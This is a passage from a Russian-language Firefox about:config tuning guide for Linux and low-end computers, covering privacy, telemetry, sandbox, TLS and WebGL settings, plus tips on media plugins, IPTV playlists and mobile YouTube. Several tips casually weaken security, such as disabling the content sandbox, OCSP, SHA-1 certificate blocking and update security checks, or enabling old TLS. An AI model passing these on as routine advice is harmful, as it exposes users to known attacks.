имеющихся плагинов у вас установлено «Включать по запросу», на веб-странице где используется плагин сверху вылезет окошко с выбором временной или постоянной активацией плагина (*«Временно разрешить»* или *«Разрешить и запомнить»*). Однако постоянная активация на самом деле работает 90 дней, и затем браузер опять попросит активировать плагин. Что бы плагины активировались действительно навсегда, переключите их в положение «Всегда включать», либо измените значение этих опций на **0** и затем в окне «Информация о странице» (смотри ниже в *«Блокировка рекламы и не нужных элементов на веб-странице --> Некоторыми инструментами браузера»*) напротив плагина поставьте точку на «Разрешить» ***plugins.rewrite\_youtube\_embeds*** YouTube предоставлял две версии кода для вставки видео на сайты, на флеше и на html5. На некоторых сайтах вставлен код для флеша, и браузер подменяет его на код для html5. Эта функция работает только при отсутствии установленного Flash-плагина. Если будет устанавливаться Flash player, отключите её **false** ***print.tab\_modal.enabled*** [\*](https://www.opennet.ru/opennews/art.shtml?num=53523) Для Firefox 84+ Новая реализация интерфейса предпросмотра перед выводом на печать. Многим новый интерфейс не понравился, и пока ещё возможно вернуть старый, переключив эту опцию в **false**. Если у вас нет принтера, оставьте как есть. ***privacy.partition.network\_state*** [\*](https://developer.mozilla.org/en-US/docs/Web/Privacy/State_Partitioning) [\*](https://www.opennet.ru/opennews/art.shtml?num=54265) Для Firefox 78 — 91. Режим сегментирования сети для блокирования методов отслеживания перемещений пользователя между сайтами. Обратной стороной подобного подхода является снижение эффективности кэширования данных (чуть меньшая скорость работы браузера). Если на компьютере нечего красть можете поcтавить значение **false**, если же вам нужна безопасность переключите опцию на **true** ***privacy.restrict3rdpartystorage.expiration\_redirect*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1740329) Для Firefox 78 — 91 Измените значение на **2592000** для устранения некоторых ошибок на сайтах. Исправлено в Firefox 101 ***privacy.trackingprotection.enabled*** Функция Tracking Protection позволяет заблокировать отслеживание ваших действий в сети интернет через внедрённый в страницы сторонний контент. Включение trackingprotection в ряде случаев позволяет так же увеличить скорость загрузки страницы. Включение **true** Некоторым сайтам для правильного взаимодействия с вашим компьютером, необходима возможность получения от вас данных связанных с этой функцией. Если на каком-либо сайте вы заметите проблемы связанные с trackingprotection (не показываются отдельные элементы страницы, не нажимаются отображаемые кнопки), вы можете отключить защиту от отслеживания для этого сайта. ![image](https://habrastorage.org/r/w780q1/webt/-8/yf/mn/-8yfmnwlo3rsp22tblpih93eans.jpeg) ***privacy.userContext.enabled privacy.userContext.ui.enabled*** [\*](https://habr.com/ru/post/395131/) [\*](https://support.mozilla.org/ru/kb/containers) Функция позволяет посещать сайты одновременно с разных аккаунтов/профилей, при этом запуск происходит в отдельных контейнерах и изолирован друг от друга. После включения этих опций **true** в настройках «Tabs» в самом низу появиться пункт «Enable Container Tabs». Где вы сможете его вкл/откл, а так же настроить профили. Также можно установить специальное [расширение](https://addons.mozilla.org/ru/firefox/addon/multi-account-containers/) от разработчиков Firefox для более удобного использования этой функции. Некоторые пользователи побаиваются устанавливать в свой браузер сертификаты определённых сайтов, например государственных услуг, опасаясь, что сертификат может быть использован «товарищем майором» не по назначению. Создав в браузере профиль «гос.услуг» и открывая только под ним определённые выбранные вами сайты, никакие данные с других ваших профилей невозможно будет просмотреть или использовать злоумышленнику. ***privacy.webrtc.hideGlobalIndicator*** Для Firefox 84. В вебверсиях Skype, Zoom, Meet и пр. сайтах, которые использует WebRTC для аудио/видео звонков, вверху возле вкладок появляется индикатор микрофона и камеры. ![image](https://habrastorage.org/r/w780q1/webt/ly/5x/zc/ly5xzc-qptmct9_tgd5brc0upfm.jpeg) Переключение этой опции на **true** убирает его. ***privacy.window.name.update.enabled*** [\*](https://blog.mozilla.org/security/2021/04/19/firefox-88-combats-window-name-privacy-abuses/) Для Firefox 84 и 91 Функция безопасности, уменьшает возможности сайтов отслеживать действия пользователей. Если компьютер используется сугубо в развлекательных целях, можете выключить **false**. Если нужна конфидициальность и безопасность включите **true** ***reader.parse-on-load.enabled*** Вид для чтения – это специальный инструмент, позволяющий сделать чтение контента более удобным. Firefox убирает всё медиа, элементы навигации и другие фрагменты сайта, оставляя только интересующий пользователя материал. Текст автоматически увеличивается и выравнивается по центру. Однако многие страницы в этом режиме отображаются не корректно, либо вид для чтения вообще не доступен. Для того что бы войти в «Вид для чтения», на загруженной странице, в конце поля для адресной строки нажмите на иконку страницы с текстом. ![](https://habrastorage.org/r/w780q1/webt/wm/vg/i5/wmvgi5yfvs8m0dkop-oyd0rywxq.jpeg) Если вы не пользуютесь видом для чтения, можете его отключить **false** После отключения этой функции, может перестать работать кнопка «Упростить страницу» в настройках меню печати браузера, когда веб-страница будет подготавливаться к печати. ***security.certerrors.recordEventTelemetry*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1505310) ***security.app\_menu.recordEventTelemetry security.protectionspopup.recordEventTelemetry security.certerrors.recordEventTelemetry security.identitypopup.recordEventElemetry security.identitypopup.recordEventTelemetry*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1484251) Телеметрия, можете отключить **false** ***security.csp.enable*** [\*](https://habr.com/ru/company/nix/blog/271575/) [Content Security Policy](https://developer.mozilla.org/ru/docs/Web/HTTP/CSP) (CSP) — функция безопасности. Из-за несовместимости старых и новых версий CSP на некоторых нужных вам сайтах может появляется такая ошибка *«Заблокировано политикой защиты содержимого....»*. Переключение этой опции в *false* может исправить такую ошибку. Но не выключайте эту функцию просто так. ***security.family\_safety.mode*** [\*](https://wiki.mozilla.org/QA/Windows_Child_Mode) Не работает в Linux, отключите изменив значение на **0** ***security.OCSP.enabled*** Если вам нужно, что бы Firefox не проверял сертификаты измените значение этой опции на **0** ***security.pki.sha1\_enforcement\_level*** [\*](https://www.opennet.ru/opennews/art.shtml?num=43635) [\*](https://groups.google.com/g/mozilla.dev.security.policy/c/tRblvzt1kHI) Функция блокирует старые сертификаты подписанные с использованием хэша SHA-1. Что бы браузер не блокировал такие старые сертификаты переключите эту опцию на **0** ***security.sandbox.content.level*** [\*](https://wiki.mozilla.org/Security/Sandbox) [\*](https://www.ghacks.net/2017/01/23/how-to-change-firefoxs-sandbox-security-level/) [\*](https://www.bleepingcomputer.com/news/security/firefox-57-brings-better-sandboxing-on-linux/) Функция безопасности Firefox. Во включённом по умолчанию состоянии, в режиме работы **4**, браузер создаёт изолированную программную среду в которой обрабатывается загруженный контент. В такой «песочнице» вредоносному коду сложнее украсть данные, попытаться установить вирус или использовать уязвимости браузера. Если у вас используются основные защитные инструменты самого Firefox, установлен блокировщик рекламы с актуальными в нём фильтрами, плюс вы не шастаете по левым сайтам с сомнительным содержимым — можете отключить эту функцию, поставив значение **0**. Браузер будет немного быстрее работать и процессор в среднем на 5-10% станет меньше нагружаться. Отключение или изменение значения этой функции в некоторых дистрибутивах Linux может приводить к конфликту с аудио приложениями или с доступом к аудио драйверу системы. В браузере на вэб-страницах со звуком, вкладки могут падать или звук не проигрываться. Эта функция также связана с ***media.cubeb.sandbox***. По этому после изменения значения на **0**, перезапустите Firefox и убедитесь что со звуком всё в порядке, например на страницах Youtube. Если же у вас возникнут описанные выше проблемы, можете постепенно увеличить значение с **0** до **3**, перезапуская браузер найдите минимальное значение при котором звук будет проигрываться, или верните дефолтные **4** ***security.sandbox.content.syscall\_whitelist*** Firefox, в целях безопасности, может по умолчанию блокировать некоторые системные вызовы. Однако это часто отрицательно влияет на работу браузера в разных ОС. Например на системах со звуком ALSA браузер может блокировать включение звука. Что бы разблокировать звук, необходимо изменить значение этой опции **16** (для 64 бит) или **54** (для 32 бит). На системах с процессором без SSE2 инструкций часто блокируется системный вызов **117**, его тоже желательно разблокировать. Посмотреть какие системные вызовы блокирует браузер возможно на странице *about:support* в таблице «Отклонённые системные вызовы» ![image](https://habrastorage.org/r/w780q1/webt/pc/ty/l6/pctyl6ioa3fd1ssgmznhefd6lcc.jpeg) ***security.sandbox.content.read\_path\_whitelist security.sandbox.content.write\_path\_whitelist*** [\*](https://www.opennet.ru/tips/3045_alsa_pulseaudio_firefox.shtml) Изменение этих настроек может помочь решить проблему отсутствия звука с APULSE при подключении микрофона или других устройств. Первой опции присваивается значение **/dev/snd/,/home/username/.asoundrc** а второй **/dev/snd/** Если у вас нет проблем со звуком, оставьте эти строки пустыми. ***security.sandbox.socket.process.level*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1608558) В целях безопасности функция делает ещё более закрытыми процессы сокетов, не разрешая системные вызовы. Установите значение **0**, что бы процессор меньше нагружался. ***security.ssl.errorReporting.enabled*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=846489#c50) При возникновении в браузере ошибок связанных с сертификатами сайтов, можно отправить в Mozilla собранные отчеты. Отключение этой функции **false** ***security.tls.enable\_delegated\_credentials*** [\*](https://www.opennet.ru/opennews/art.shtml?num=51797) Для Firefox 78 и 84. Функция безопасности, вводит в обиход дополнительный промежуточных закрытый ключ, время действия которого ограничено часами или несколькими днями (не больше 7 дней). Данный ключ генерируется на основе выданного удостоверяющим центром сертификата и позволяет сохранить закрытый ключ исходного сертификата в тайне от сервисов доставки контента, предоставив им только временный сертификат с коротким временем жизни. Включите её **true** ***security.tls.version.min security.tls.version.enable-deprecated*** [\*](https://ru.wikipedia.org/wiki/TLS) Для Firefox 78+. Для возможности просматривать старые сайты, которые не обновляли у себя версии протоколов TLS, первой опции поставьте значение **1**, а второй **true** ***security.webauth.u2f*** [\*](https://habr.com/ru/post/305508/) ***security.webauth.webauthn*** [\*](https://habr.com/ru/company/1cloud/blog/445534/) [\*](https://developer.mozilla.org/en-US/docs/Web/API/Web_Authentication_API) ***security.webauth.webauthn\_enable\_usbtoken*** На некоторых сайтах может присутствовать возможность прохождения двухфакторной аутентификации с помощью специальных устройств [USB-токенов](https://ru.wikipedia.org/wiki/%D0%A2%D0%BE%D0%BA%D0%B5%D0%BD_(%D0%B0%D0%B2%D1%82%D0%BE%D1%80%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D0%B8)). Если у вас нет такого устройства, или вы им не пользуетесь в Firefox, переключите все эти опции в **false** ***security.xfocsp.errorReporting.enabled** Для Firefox 84+* Отправка в Mozilla отчёта о падении страницы связанной с [XFO или CSP](https://habr.com/ru/company/edison/blog/434228/) Отключите **false** ***services.sync.prefs.sync.browser.search.update services.sync.log.appender.file.logOnError services.sync.prefs.sync.extensions.update.enabled services.sync.prefs.sync.browser.crashReports.unsubmittedCheck.autoSubmit2*** Сервис синхронизации в Firefox от Mozilla (находится в главном меню настроек, или по адресу **about:preferences#sync** ). Если не используете его, отключайте **false** ***signon.generation.available signon.generation.enabled services.sync.prefs.sync.signon.generation.enabled*** [\*](https://www.ghacks.net/2019/06/18/firefox-69-has-a-password-generator/) Для Firefox 78+. Когда вы регистрируетесь на каком-нибудь сайте, вам необходимо придумать пароль. Разработчики Firefox решили помочь в этой не простой задаче, предложив вам вставить случайно сгенерированный из 15 различных букв и цифр пароль. Если вам нужно помнить свои вводимые пароли на сайтах, отключите эти функции **false** ***signon.improvedPasswordRules.enabled*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1686071#c8) Для Firefox 91 Телеметрия. Отправка данных в Mozilla: пользуются ли юзеры функцией генерацией паролей (см. **signon.generation.available**). Что бы знать нужна ли она вообще в браузере. Отключение **false** ***toolkit.content-background-hang-monitor.disabled*** [\*](https://medium.com/programming-servo/programming-servo-a-background-hang-monitor-73e89185ce1) Функция для веб-разработчиков. Можете её отключить, установив значение **true** ***toolkit.cosmeticAnimations.enabled*** Различные анимированные украшательства браузера. Например, при закрытии центральной вкладки, правая плавно подползает к левой. При отключении **false** этой функции, перемещение вкладок будет моментальное. ***toolkit.shutdown.fastShutdownStage*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1613733) Для Firefox 78. Более быстрое завершение работы браузера при возникновении критических ошибок. Измените значение опции на **1** ***toolkit.telemetry.archive.enabled toolkit.telemetry.bhrPing.enabled toolkit.telemetry.firstShutdownPing.enabled toolkit.telemetry.hybridContent.enabled toolkit.telemetry.newProfilePing.enabled toolkit.telemetry.pioneer-new-studies-available toolkit.telemetry.reportingpolicy.firstRun toolkit.telemetry.shutdownPingSender.enabled toolkit.telemetry.unified toolkit.telemetry.updatePing.enabled*** Телеметрия. Отключение **false** ***ui.android.mouse\_as\_touch*** Функция для TV под управлением Android. Не для компьютеров с Linux. Отключите изменив значение на **0** ***ui.useOverlayScrollbars*** (этот параметр создаётся как Целое) Если дать значение этой опции **1** то когда курсор мыши на веб-странице будет не активен более нескольких секунд, браузер спрячет полосы прокрутки страницы. Если же курсор мыши сделать опять активным (пошевелить), полосы прокрутки опять появятся. В различных версиях Firefox функция может работать немного по разному. Эта настройка браузера может пригодится на компьютерах где дисплей имеет небольшой размер (например нетбуки eeePC) и каждый кусочек свободного пространства на экране имеет значение. Ещё увеличить полезное пространство можно запуская браузер в полноэкранном режиме, тогда вкладки и адресная строка будут прятаться за верхнюю часть экрана. Расширение [Auto Fullscreen](https://addons.mozilla.org/ru/firefox/addon/i-auto-fullscreen/) делает полноэкранный запуск браузера. ***webextensions.storage.sync.kinto*** Для Firefox 78. Отключение старой версии синхронизации. Если пользуетесь в Firefox сервисами синхронизации, для использования новой версии можете переключить эту опцию в **false** ***webgl.enable-surface-texture*** [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1529322) Для Firefox 78. Если в вашем браузере работает WebGL (см. *about:support*), переключите эту опцию в **true** ***webgl.enable-draft-extensions*** [\*](https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API/Using_Extensions) Если у вас может работать WebGL, включите эту опцию **true** для лучшей совместимости с новыми WebGL приложениями. ***webgl.force-enabled*** Если ваша видеокарта поддерживает OpenGL 2.0 и процессор имеет поддержку SSE2 инструкций, но по какой-то причине браузер заблокировал WebGL (проверить можно здесь [get.webgl.org](https://get.webgl.org/) ), можете попытаться принудительно включить его, переключив эту опцию в **true** ***webgl.disabled*** Если ваша видеокарта не поддерживает OpenGL 2.0 и/или процессор без поддержки SSE2 инструкций, переключите эту опцию в **true** Хотя некоторые дистрибутивы Linux для видеокарт без OpenGL 2.0 могут использовать программный эмулятор OpenGL, как правило **llvmpipe**. Браузер его автоматически подхватывает и сам включает WebGL1 и даже WebGL2. Посмотрите что у вас написано в *about:support* ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/d16/ddf/a3f/d16ddfa3fd495fd86dff608e9498a92f.jpg) ***webgl.disable-fail-if-major-performance-caveat*** [\*](https://www.khronos.org/webgl/public-mailing-list/public_webgl/1509/msg00026.php) [\*](https://bugzilla.mozilla.org/show_bug.cgi?id=1678652#c32) Раньше сайты на которых использовался WebGL перед запуском активного содержимого веб-страницы могли выводить предупреждение о необходимости установки актуальной версии драйвера видеокарты, о том, что WebGL может сильно нагружать процессор если будет использоваться не аппаратный WebGL, устаревшая версия WebGL браузера и т.д. Если WebGL включить из-за каких-то проблем было не возможно, и на сайте дополнительно имелась альтернативная реализация для компьютеров без поддержки WebGL, сайт мог загрузить версию веб-страницы без использования WebGL. Абсолютное большинство современных сайтов не использует одновременно другие альтернативы кроме WebGL. А на некоторый сайтах, как например [Google Карты](https://www.google.com/maps/), из-за выключенной по умолчанию этой опции могут возникнуть ошибки. Если в вашем браузере работает WebGL переключите опцию в **true**, что бы браузер не показывал предупреждения и сразу активировал WebGL контент на странице. Если в браузере WebGL не работает (отключен), оставьте/переключите на **false**. ***webgl.disable-angle webgl.disable-wgl*** [ANGLE](https://ru.wikipedia.org/wiki/WebGL#%D0%A1%D0%BB%D0%BE%D0%B9_%D1%81%D0%BE%D0%B2%D0%BC%D0%B5%D1%81%D1%82%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_ANGLE) и [WGL](https://en.wikipedia.org/wiki/WGL_(API)) предназначены для Windows, не работают в Linux. Переключите эти опции в **true** ***webgl.enable-webgl2*** Работает только с видеокартами которые поддерживают OpenGL 3.0. Если Ваша видеокарта не поддерживает OpenGL 3.0, отключите эту опцию **false** ***widget.dmabuf-webgl.enabled gfx.x11-egl.force-enabled*** [\*](https://www.opennet.ru/opennews/art.shtml?num=53285) [\*](https://mozillagfx.wordpress.com/2021/10/30/switching-the-linux-graphics-stack-from-glx-to-egl/) Для Firefox 84 и 91. На системах с X11 (см. в *about:support* браузера раздел «Графика» параметр Протокол управления окнами) включение **true** этих функций может значительно ускорить работу WebGL, тем самым повысить плавность 3D анимации и игр. ![image](https://habrastorage.org/r/w780q1/webt/xm/tt/nw/xmttnwkkoqgikoecuuw41eqs0y8.jpeg) Функции оптимизированы для драйверов Mesa версии 21 и новее или драйверов Nvidia 470 и новее, и для видеокарт поддерживающих от OpenGL 3.0. Но могут работать/включаться на более старых видеокартах с устаревшими версиями драйверов. Если у вас после включения видимого положительного эффекта не будет, переключите опции обратно в значение **false** ***widget.non-native-theme.enabled*** На компьютере с процессором без SSE2 инструкций отключите эту опцию **false**. ***widget.wayland-dmabuf-webgl.enabled*** [\*](https://www.linux.org.ru/news/mozilla/15627080) Для Firefox 78. На системах с Wayland (см. в *about:support* браузера раздел «Графика» параметр Протокол управления окнами) включение **true** этой функции может значительно ускорить работу WebGL, тем самым повысить плавность 3D анимации и игр. Работает на видеокартах поддерживающих от OpenGL 3.0 и новее. Если у вас в системе используется X11 или видеокарта без поддержки OpenGL 3+ оставьте **false** Дополнения в браузер -------------------- **Присутствуют в составе Firefox** Firefox по умолчанию устанавливает и включает некоторые свои дополнения. ![image](https://habrastorage.org/r/w780q1/webt/y8/pg/7h/y8pg7hlskcldwfpz4eovyemqztk.jpeg) **screenshots@mozilla.org** — [Firefox Screenshots](https://support.mozilla.org/ru/kb/skrinshoty-firefox). Скриншоты Firefox — функция для получения, загрузки, сбора и обмена снимками экрана. **fxmonitor@mozilla.org** — [Firefox Monitor](https://www.opennet.ru/opennews/art.shtml?num=49186). Полезное системное дополнение, обеспечивает вывод предупреждения в случае компрометации учётной записи (проверка по email) или попытке входа на ранее взломанный сайт. Проверка осуществляется через интеграцию с базой данных проекта haveibeenpwned.com, включающей сведения о более чем 5 миллиардах учётных записей, похищенных в результате взломов более 300 сайтов. **formautofill@mozilla.org** — [Form Autofill](https://support.mozilla.org/ru/kb/avtomaticheskoe-zapolnenie-vashego-adresa-v-formah). Позволяет автоматически заполнять формы ввода данных на сайтах (например, когда вы заказываете что-то онлайн). Также включает в себя функцию автоматического заполнения кредитных карт. **webcompat-reporter@mozilla.org** — Webcompat-reporter, дополнение которое позволяет удобно и оперативно отсылать информацию разработчикам Firefox о выявленных ошибках в браузере при посещении различных сайтов. Для его работы в настройках Firefox необходимо включить опцию ***extensions.webcompat-reporter.enabled*** **webcompat@mozilla.org.xpi** — Web Compat, позволяет браузеру получать некоторые исправления до выхода следующией версии. Расширение не несёт какой-либо заметной пользы, так как прилетающие исправления, в большинстве своём, имеют косметический характер. **Расширения с addons.mozilla.org** ***extensions.checkCompatibility.68.12 extensions.checkUpdateSecurity*** [\*](https://forum.mozilla-russia.org/viewtopic.php?id=24092) (эти параметры создаются как логическое) Если вы захотите попробовать установить новые расширения для Firefox c addons.mozilla.org, но которые не совместимы с вашей версией браузера, можете отключить проверку совместимости версий расширений, создав **extensions.checkCompatibility.68.12** и установив значение **false** где число **68.12** — это версия вашего браузера. Для Firefox 84.0.2 необходимо будет создать ***extensions.checkCompatibility.84.0*** В некоторых случаях также необходимо отключить проверку безопасности обновлений, создав **extensions.checkUpdateSecurity** со значением **false** Расширения устанавливаются следующим образом. На странице с расширением нажмите левой кнопкой мыши по ссылке «Загрузить файл». Расширение должно установиться. ### Проигрывание медиа **Плагины и Расширения** **Видеокодек Openh264 предоставленный Сisco Systems** Применяется для выполнения видеозвонков. Подробнее [тут](https://support.mozilla.org/ru/kb/pochemu-v-firefox-ispolzuetsya-plagin-openh264). Если не совершаете с помощью Firefox видеозвонки, смело отключайте этот плагин. Также желательно в настройках этого плагина ***Автоматическое обновление*** установить в положение **Отключено** **VLC Web Plugin** Этот плагин работает совместно с VLC плеером и расширением ViewTube (см. ниже). Можно просматривать видео Youtube в хорошем качестве непосредственно с веб-страниц Youtube на очень слабых компьютерах. Плагин устанавливается отдельно от VLC плеера. Если плагина не будет в менеджере пакетов вашего дистрибутива, его необходимо скачать отдельно. Например, для дистрибутивов основанных на Debian по этим ссылкам [32](http://ftp.ru.debian.org/debian/pool/main/n/npapi-vlc/browser-plugin-vlc_2.0.6-4_i386.deb) или [64](http://ftp.ru.debian.org/debian/pool/main/n/npapi-vlc/browser-plugin-vlc_2.0.6-4_amd64.deb) бит. Что бы браузер увидел плагин, опция **plugin.load\_flash\_only** должна быть в false. Обязательно! Операционная система автоматически или вы в ручную должны периодически обновлять корневые сертификаты (то есть они должны быть в актуальном состоянии). К этим сертификатам обращается VLC плагин. Если сертификаты будут просрочены, видео из интернета может не проигрываться. Плагин может работать в браузерах [Firefox 52](https://ftp.mozilla.org/pub/firefox/releases/52.9.0esr/linux-i686/ru/) или [PaleMoon](https://software.opensuse.org/download.html?project=home:stevenpusser&package=palemoon). ![image](https://habrastorage.org/r/w780q1/webt/_q/zz/d_/_qzzd_k5c_clfyfzl-fs4np4fig.jpeg) **Интернет телевидение и радио** **Просмотр телеканалов** Существует много сайтов и программ для просмотра трансляций ТВ каналов с интернета. Если компьютер достаточно быстрый и позволяет смотреть трансляции непосредственно из браузера, например на таких сайтах как [only-tv.org](http://only-tv.org/) или других, скорее всего эти настройки будут не для вас. Если у вас компьютер или ноутбук из-за своей низкой производительности не позволяет просматривать телетрансляции в браузере, можно сделать так, что бы по нажатию определённой ссылки запускался плеер (например MPV, VLC или другой) и ТВ трансляция показывалась в нём. Ниже будет описан пример, как можно создать свой плейлист ТВ каналов и как его поместить в браузер. Перед созданием списка телеканалов, вы можете сделать специальную кнопку или закладку, что бы была возможность быстро и удобно пользоваться этим списком. Например сделать/вынести кнопку на панель инструментов. Если вы привыкли пользоваться другим видом закладок или другим способом, можете сделать как вам нравится. ![image](https://habrastorage.org/r/w780q1/webt/b6/pm/oc/b6pmocyaq21d4jjzzq-gctgpuhu.jpeg) **Как сделать кнопку-закладку на панели инструментов** Нажмите на кнопку входа в меню настроек, и затем на Персонализация. ![image](https://habrastorage.org/r/w780q1/webt/xg/r7/bs/xgr7bs6k5mvdl456-tcyjqyuita.jpeg) Наведите курсор мыши на Панель инструментов (там где адресная строка) и кликните по ней правой кнопкой мыши. Нажмите на **Панель закладок**. Под панелью инструментов появится пространство с надписью **Элементы панели закладок**. Наведите курсор на эту надпись, нажмите левую кнопку мыши и перетяните её вверх и в право, в место как показано на картинке. Элементы панели закладок можно перемещать в лево и в право на панели инструментов, как вы захотите. После этого, нажмите опять правой кнопкой мыши по панели инструментов и снимите галку с **Панель закладок**. Этими действиями переносится часть панели закладок на панель инструментов. ![image](https://habrastorage.org/r/w780q1/webt/vx/y6/k-/vxy6k-v8taoissknqrdlnwu9dtc.jpeg) После выхода из Персонализации, в углу появится закладка «Начальная страница» (Getting Started). Правой кнопкой мыши кликните по ней и затем выберите **Свойства** ![image](https://habrastorage.org/r/w780q1/webt/ph/pb/z8/phpbz8palour8v8xywwzdqg2nty.jpeg) На экране появится окно редактирования **Свойства для ...**. В строке *Имя:* можете написать *TV*, либо удалить название для экономии места на панели инструментов. В строке *Адрес:* необходимо вписать/вставить путь на файл плейлиста, который вы должны будете создать у себя на компьютере. Если же у вас один телеканал, а не список, в строку адреса вставьте **.m3u8** ссылку на его видеопоток. Как создать файл плей-листа и где взять ссылки на трансляции телеканалов, читайте ниже. ![image](https://habrastorage.org/r/w780q1/webt/zm/ow/zi/zmowzii58-2ti5r-ai7e54zr7s4.jpeg) Плейлист для браузера будет представлять из себя ***html*** файл в котором прописаны ссылки на трансляции различных ТВ каналов. Существует несколько сайтов где можно взять такие ссылки, например [iptvmaster.ru](https://iptvmaster.ru/). Там плейлисты имеют формат **.m3u** Этот формат могут понимать различные IPTV плееры. Но для браузера необходим немного другой вид содержимого. Что бы составить свой плейлист, скачайте интересующие вас плейлисты телеканалов в формате **.m3u** Затем откройте их каким-нибудь текстовым редактором. Скопируйте ссылки и названия каналов которые вам интересны в отдельный текстовый файл. Далее загрузите вот этот [файл](https://dl.dropboxusercontent.com/s/rs1nmk5o4wv26ql/TV.html). Поместите его в какую-нибудь папку и затем откройте его браузером. После того как страница откроется, скопируйте из адресной строки путь и в свойствах созданной закладки вставьте его в *Адрес:* Таким образом созданная кнопка TV каналов будет открывать страничку плейлиста сохранённого на вашем компьютере. После этого необходимо подредактировать файл *TV.html*, добавив в него ссылки на свои телеканалы. Ссылки на трансляции могут быть *http* или *https*, с *.m3u8* на конце и нет. Проще всего если это *https* с *.m3u8*. Если нажать по такой ссылке браузер откроет окошко и сам предложит варианты, что делать с такой ссылкой. В редких случаях, сервер трансляции может отдавать видео в *http* и *https*, и если есть ссылка http, можно попробовать дописать **s**, что бы получилось *http**s***. ![image](https://habrastorage.org/r/w780q1/webt/8b/bv/ed/8bbved_bcfeocrd5hgj2mjqs8js.jpeg) Если же ссылка трансляции только *http* и/или не имеет на конце *.m3u8*, при добавлении таких ссылок, в их начало необходимо дописать ***vlc://*** То есть ссылка будет примерно такая *vlc://http://......* Что бы браузер мог перенаправлять такие ссылки в VLC плеер, необходимо выполнить то, что описано в *Плагины и Расширения --> ViewTube --> Видео в отдельном плеере VLC, не на страницах сайта*. Другими словами зарегистрировать в Linux новый протокол *vlc://*. Если вы это делали раньше для расширения ViewTube, второй раз это делать не нужно. В операционных системах Android регистрировать протокол vlc:// не нужно, VLC плеер это делает сам во время установки. *TV.html* — это простейшая веб-страница, которая сделана мной по инструкции написанной [здесь](https://ru.wikihow.com/%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D1%82%D1%8C-%D0%BF%D1%80%D0%BE%D1%81%D1%82%D1%83%D1%8E-%D0%B2%D0%B5%D0%B1-%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D1%83-%D1%81-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E-HTML). То есть при редактировании *TV.html* — можете опираться на эти образцы и на свою логику. Но если ваши знания позволяют, можете сделать эту страничку более красивой. **Радио** Существуют различные сайты или программы для прослушивания радиостанций. Однако можно слушать радио в фоне непосредственно в браузере, с помощью дополнений [Worldwide Radio](https://addons.mozilla.org/ru/firefox/addon/worldwide-radio/) или [Радио плеер онлайн](https://addons.mozilla.org/ru/firefox/addon/radio_player_/) (позволяет добавлять и удалять радиостанции). ![image](https://habrastorage.org/r/w780q1/webt/wk/cb/nk/wkcbnkdpyuukj-byfyavq6uf_fg.jpeg) **Вид мобильной или планшетной версии Youtube** Для компьютеров с маленьким экраном можно сделать стиль мобильной/планшетной версии Youtube, с увеличенными в размере элементами страницы. Сейчас она схожа с полной версией, но гораздо легче её. ![image](https://habrastorage.org/r/w780q1/webt/ls/y9/2i/lsy92imqlc0pleyw8rors9mvniq.jpeg) Первый способ. Перейти по ссылке [m.youtube.com/?persist\_app=1&app=m](https://m.youtube.com/?persist_app=1&app=m) После этого YouTube будет показываться в мобильном виде. Что бы вернуться обратно на обычную ПК версию, кликните по этой ссылке [www.youtube.com/?persist\_app=1&app=desktop](https://www.youtube.com/?persist_app=1&app=desktop) Второй способ. В *about:config* необходимо создать строку **general.useragent.override** В эту строку вставьте следующее значение ***Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-A500FU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Gecko/20111216 Firefox/9.0 Fennec/9.0*** Только для Firefox 68 Однако при втором способе для некоторых других сайтов, что бы они отображались не в мобильном виде, необходимо создать параметры на подобие такого **general.useragent.override.habr.com** со значением Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0 После этого сделайте так, как описано ниже в разделе «Блокировка рекламы и не нужных элементов на веб-странице» --> «Просмотр мобильной версии сайта и что делать если на сайт не пускают». Родной плеер мобильной версии Youtube не имеет ползунка регулировки громкости. Но вы можете установить расширение [Youtube-Player](https://addons.mozilla.org/ru/firefox/addon/yt-player/) которое позволит изменять громкость в плеере. Так же в родном плеере мобильной версии YouTube нет нормальной перемотки видео c помощью ползунка, есть только пошаговая перемотка, кликая по левой или правой стороне видео. Расширения «YouTube Mobile for desktop» и/или «ViewTube» (см.ниже) позволят заменить плеер YouTube на плеер с прокруткой и регулировкой громкости. Для компьютеров со слабым процессором крайне желательно добавить в настройках uBlock в вкладке «Мои фильтры» строку ``` m.youtube.com##.spinner:style(animation: none !important) ``` **YouTube Mobile for desktop** Это [расширение](https://addons.mozilla.org/ru/firefox/addon/youtube-mobile-for-desktop/) или [скрипт](https://dl.dropboxusercontent.com/s/g4kma9fzgpi8hla/mtb.user.js) для расширений типа «Greasemonkey» делает небольшие изменения в отображении элементов страницы мобильной версии ютуба (см.выше "*Вид мобильной или планшетной версии Youtube*") и исправляет некоторые ошибки возникающие в работе со старыми браузерами: *Вместо плеера ютуба используется браузерный плеер Firefox. Есть возможность перемотки ползунком и регулировка громкости. Комментарии отображаются внизу, а не справа, как и в обычной версии Расширение может работать вместе с другими расширениями, например с «ViewTube» и «Return Youtube Dislike»*. Для компьютеров со слабым процессором крайне желательно добавить в настройках uBlock в вкладке «Мои фильтры» строку ``` m.youtube.com##.spinner:style(animation: none !important) ``` Что бы видео не запускалось всегда на 100% громкости, вы можете изменить её уровень, в *about:config* браузера опция ***media.default\_volume*** [\*](https://www.ghacks.net/2016/06/04/firefox-49-set-default-html5-video-volume/) настраивается в диапазоне от 0.01 до 1. **YouTube с интерфейсом для телевизоров и ТВ-боксов** Эта версия YouTube самая лёгкая для отображения в браузере. Но имеет свою специфику с навигацией по меню. Распологается по адресу [www.youtube.com/tv](https://www.youtube.com/tv) Где может пригодится такая версия ютуба. Например на даче или в 